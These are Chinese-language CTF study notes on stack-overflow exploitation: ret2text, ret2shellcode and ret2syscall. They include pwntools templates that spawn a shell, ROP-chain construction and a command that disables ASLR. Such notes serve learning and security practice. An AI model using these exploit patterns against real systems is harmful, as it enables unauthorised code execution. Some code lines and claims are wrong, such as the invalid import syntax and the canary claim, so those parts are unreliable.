PWN学习笔记
PWN学习笔记
一. ret2text 小结
-
linux自带base64解密,例如:
echo 密文 | base64 -d
; -
有的假pwn题实际上是misc题,因为可能会有
'\r'
可以一直清空这一行的输出,但是我们可以通过recv()
获取完整的输出; -
puts()函数后自带换行
-
ida会自己计算变量相对于ebp的距离,ebp是相对于栈顶,有时出题人卡成esp(栈底)p,这时需要用动态调试来确定填充长度。ebp、rbp指向父函数的返回地址(previous ebp),下一个才是主函数的返回地址。
-
gdb 程序名
即可动态调试;b 函数名 / b * + 地址
打断点;栈在用户空间最高地址;n
步过,s
步进;输入stack 长度
可以看到栈的详细信息;ebp再往高一个地址就是函数返回地址,也就是要攻击的地址。我们可以在程序里找到一个system("/bin/sh")
这个backdoor,窃喜。即篡改return地址到后门函数。 -
stack
可以显示栈帧,通过寄存器块显示的ebp和esp的距离来确定看多大。 -
ret2text 要求程序必须自带后门函数,比较局限。
一个模板:
from pwn import *
io = process("./ret2text") # io = remote("...", )
io.recvline()
payload = b'A' * 16 + b'BBBB' + p32(0x8048522) # 用p32()打包成字节数据
io.sendline(payload)
io.interactive()
- 注意要覆盖掉 ebp(再填4个字节),对于 rbp 则要再填8个字节。
二. ret2shellcode 小结
The NX bits
栈不可执行,由操作系统实现,编译时默认打开ASLR
内存空间地址随机化,部分随机化时栈、mmap()、动态链接库都被随机化,即使可以在本地 gdb 调试查看栈,也无法确定远程栈的具体情况,因此无法在栈写入 shellcode ,所以考虑在 bss 段写入,默认可执行,远端的 ASLR 基本不可能关闭,所以就算关了 NX ,也没办法把shellcode写在栈里。关闭 ASLR:echo 0 > /proc/sys/kernel/randomize_va_space
,gdb中默认关闭ASLR。- PIE 可以来随机化 ELF 文件本体,导致不可以通过 Bss,Data,Text 段进行溢出。
- Bss 可以用来存放未被初始化的全局变量,如果一个全局变量可以溢出,那么它就可以用来填充shellcode以控制执行流
- shellcode 是机器码,可以通过 pwntools 的
shellcraft
来获取shellcode,模板如下:
from pwn import *
print(asm(shellcraft.sh())) # 获取 32位
context.arch = "amd64" # 更改攻击环境位64位
print(asm(shellcraft.amd64.sh())) # 获取 64位
- pwndbg
vmmap
命令可以显示栈帧结构。 - python
hex()
可以把10进制数转换为16进制数 canary保护
会在栈里写一个随机数,如果用垃圾数据覆盖了 ret 地址,程序在leave时会检查一次 canary ,如果异常会直接结束程序。如果存在 canary ,那么就无法栈溢出了。
模板:
import pwn from *
io = process("./ret2shellcode")
shellcode = asm(shellcraft.sh()) # 获得shellcode
payload = asm(shellcraft.sh()).ljust(112, b'A') + p32(0x804a080)
# ljust(x, b'a') 表示用字节a一直填充直到总字节长度为x
io.sendline(payload)
io.interactive()
三. ret2syscall
- 系统调用:操作系统内核函数(kernel)只有接口,是操作系统提供给用户的编程接口,是提供访问操作系统所管理的底层硬件的接口,本质上是内核函数代码,在内核空间储存(最高)。
- 动态链接库实际上是pwd目录下的一个可执行文件。
- 我们称一个
pop_ebp_ret
为一个gadget
,ret相当于pop eip,ret指令总是把栈上存放的地址弹出给eip执行。 - 需求:程序内并没有一个连续的指令可以调用,只能将程序里的很多散的指令手搞成链,只有以 ret 结尾的指令才可以连续执行。这样可以获得一个 gadget ,当有很多个gadget时就可以构成一个连续的ROP链,这个ROP链就成了一个可以拿到shell的函数(比如
execve("\bin\sh",NULL,NULL)
系统调用号为0xb
) shift + F12
查找字符串,可以找到“看不到”的/bin/sh
。- 静态链接指程序在编译时就把库代码附加到函数本体内,可以用
file
命令查看文件相关信息。 xor
是异或,同0异1,对寄存器可以类比,xor eax eax
可以清空eax,所以xor可以用以清空eax,mov eax, 0
相对慢,消耗资源多。flat([])
接受一个列表参数,把列表参数中的每一项转成字节型数据,自动把不足1字长的数据填充。- 工具:
ROPgadget
,用法:ROPgadget --binary 文件名 --only "pop|ret" | grep eax
,其中|
是管道符,可以将前一个指令的输出作为后一个指令的输入,grep
可以将输入中含有其后参数里字符串的数据输出出来,相当于是个筛选,这里筛出了 eax 。此外,这个工具还可以查找一些字符串的地址,例如:
ROPgadget --binary 文件名 --string '/bin/sh'
注意:要适当选取 gadget。
此外也可以通过pwntools
自带的函数来查找文件中的字符串位置。
from pwn import *
elf = ELF(".\ret2syscall")
bin_sh = hex(next(elf.search(b"/bin/sh")))
攻击模板:
import pwn from *
io = process("./ret2syscall")
# 需要找到对应gadget的地址
pop_eax_ret = 0x080bb196
pop_edx_ecx_ebx_ret = 0x0806eb90
int_0x80 = 0x08049421
bin_sh = 0x80BE408
payload = flat([b'A' * 112, pop_eax_ret, 11, pop_edx_ecx_ebx_ret, 0, 0, bin_sh, int_0x80])
io.sendline(payload)
io.interactive()